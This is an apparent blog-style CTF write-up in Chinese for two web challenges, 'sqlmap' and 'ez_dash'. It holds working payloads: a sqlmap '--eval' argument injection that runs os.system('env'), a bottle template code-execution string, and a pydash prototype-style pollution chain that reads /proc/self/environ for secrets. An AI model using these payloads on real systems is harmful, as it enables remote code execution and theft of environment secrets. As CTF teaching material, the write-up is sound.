# sqlmap

源码:

@app.post("/run")
async def run(request: Request):
data = await request.json()
url = data.get("url")
if not url:
return {"error": "URL is required"}
command = f'sqlmap -u {url} --batch --flush-session'
def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)
while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
yield output
return StreamingResponse(generate(), media_type="text/plain")

很显然的 subprocess.Popen, 但因为设置了 shell=False 导致⽆法利⽤反引号等技巧进⾏常规的

命令注⼊

但是仔细观察可以发现我们还是可以控制 sqlmap 的参数,即参数注⼊

结合 GTFOBins: https://gtfobins.github.io/gtfobins/sqlmap/

通过 --eval 参数可以执⾏ Python 代码,然后因为上⾯ command.split () 默认是按空格分隔

的,所以需要⼀些⼩技巧来绕过

注意这⾥参数的值不需要加上单双引号,因为上⾯已经设置了 shell=False , 如果加上去反⽽代表的

是 “eval ⼀个 Python 字符串”

最终 payload

127.0.0.1:8000 --eval __import__('os').system('env')

# ez_dash

预期解是污染掉 bottle.TEMPLATE_PATH 实现任意⽂件读取 || <%%> 直接 rce

?path=<%%>os.system("env")<%%>

源码:

'''
Hints: Flag在环境变量中
'''
from hashlib import new
from typing import Optional
import pydash
import bottle
__forbidden_path__ = ['__annotations__', '__call__', '__class__', '__closure__',
                      '__code__', '__defaults__', '__delattr__', '__dict__',
                      '__dir__', '__doc__', '__eq__', '__format__',
                      '__ge__', '__get__', '__getattribute__',
                      '__gt__', '__hash__', '__init__', '__init_subclass__',
                      '__kwdefaults__', '__le__', '__lt__', '__module__',
                      '__name__', '__ne__', '__new__', '__qualname__',
                      '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
                      '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
                      "Optional", "func", "render",
                      ]
__forbidden_name__ = [
    "bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
def setval(name: str, path: str, value: str) -> Optional[bool]:
    if name.find("__") >= 0: return False
    for word in __forbidden_name__:
        if name == word:
            return False
    for word in __forbidden_path__:
        if path.find(word) >= 0: return False
    obj = globals()[name]
    try:
        pydash.set_(obj, path, value)
    except:
        return False
    return True
@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path = bottle.request.json.get('path')
    if not isinstance(path, str):
        return "no"
    if len(name) > 6 or len(path) > 32:
        return "no"
    value = bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
    path = bottle.request.query.get('path')
    if path.find("{") >= 0 or path.find("}") >= 0 or path.find(".") >= 0:
        return "Hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

有两个路由:
/setValue

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
def setval(name: str, path: str, value: str) -> Optional[bool]:
    if name.find("__") >= 0: return False
    for word in __forbidden_name__:
        if name == word:
            return False
    for word in __forbidden_path__:
        if path.find(word) >= 0: return False
    obj = globals()[name]
    try:
        pydash.set_(obj, path, value)
    except:
        return False
    return True
name不能有"__";path不能有__forbidden_path__中的关键词。;name变量必须能在globals()里找到;pydash.set_()用于修改obj,但是收到RESTRICTED_KEYS限制

/render

这个只能渲染文件,不能渲染字符串:

return bottle.template(path)

所以我们的目的变成了修改 RESTICETED_KEYS 里面的内容

至于怎么修改来的:

pydash.set_() 的行为:

def base_set(obj, key, value, allow_override=True):
    if isinstance(obj, dict):
        if allow_override or key not in obj:
            obj[key] = value
    elif (allow_override or not hasattr(obj, key)) and obj is not None:
        _raise_if_restricted_key(key)  # ⚠️ 这里是关键
        setattr(obj, key, value)  # 修改对象的属性
    return obj
如果 `obj` 是 `dict`,直接修改 `obj[key]`**。

**如果 `obj` 是对象(比如 `pydash` 模块),就用 `setattr(obj, key, value)` 来修改属性**。

**在 `setattr(obj, key, value)` 之前会检查 `RESTRICTED_KEYS`,如果 `key` 在其中,就会报错**。

setval() 允许我们修改 globals() 里的对象:

def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    obj = globals()[name]  # 取全局变量
    try:
        pydash.set_(obj, path, value)  # 通过 pydash.set_() 修改属性
    except:
        return False
    return True

name 不能包含 __ ,但 pydash 是合法的全局变量。

globals()[name] 让我们可以访问 pydash 模块

然后 pydash.set_() 就会修改 pydash.RESTRICTED_KEYS

# 3. 如何修改 RESTRICTED_KEYS

假设 RESTRICTED_KEYS 里面有黑名单,阻止修改 bottle.TEMPLATE_PATH

python


复制编辑
RESTRICTED_KEYS = ["TEMPLATE_PATH", "some_other_key"]

如果 pydash.set_() 看到 key in RESTRICTED_KEYS ,就会报错:

python复制编辑if key in RESTRICTED_KEYS:
    raise KeyError(f"access to restricted key {key!r} is not allowed")

# 绕过方法

我们先清空 RESTRICTED_KEYS ,让它变成 []

json复制编辑{
  "name": "pydash",
  "path": "RESTRICTED_KEYS",
  "value": []
}

执行过程

  1. setval("pydash", "RESTRICTED_KEYS", [])
  2. globals()["pydash"] 取得 pydash 模块。
  3. pydash.set_(pydash, "RESTRICTED_KEYS", [])
  4. setattr(pydash, "RESTRICTED_KEYS", []) ,成功清空限制!

这样 _raise_if_restricted_key() 就不会拦截任何修改操作,我们就能修改 bottle.TEMPLATE_PATH 了。

然后同样的再用 bottle 的 TEMPLATE_PATH 污染,但是 bottle.TEMPLATE_PATH 变量是无法被 pydash.set_() 赋值操作的

所以需要用name=setval ,{"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../../proc/self/"]

最后用 /render?path=environ 直接拼接成…/…/…/…/…/proc/self/environ 获取 flag

image-20250325215308537

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal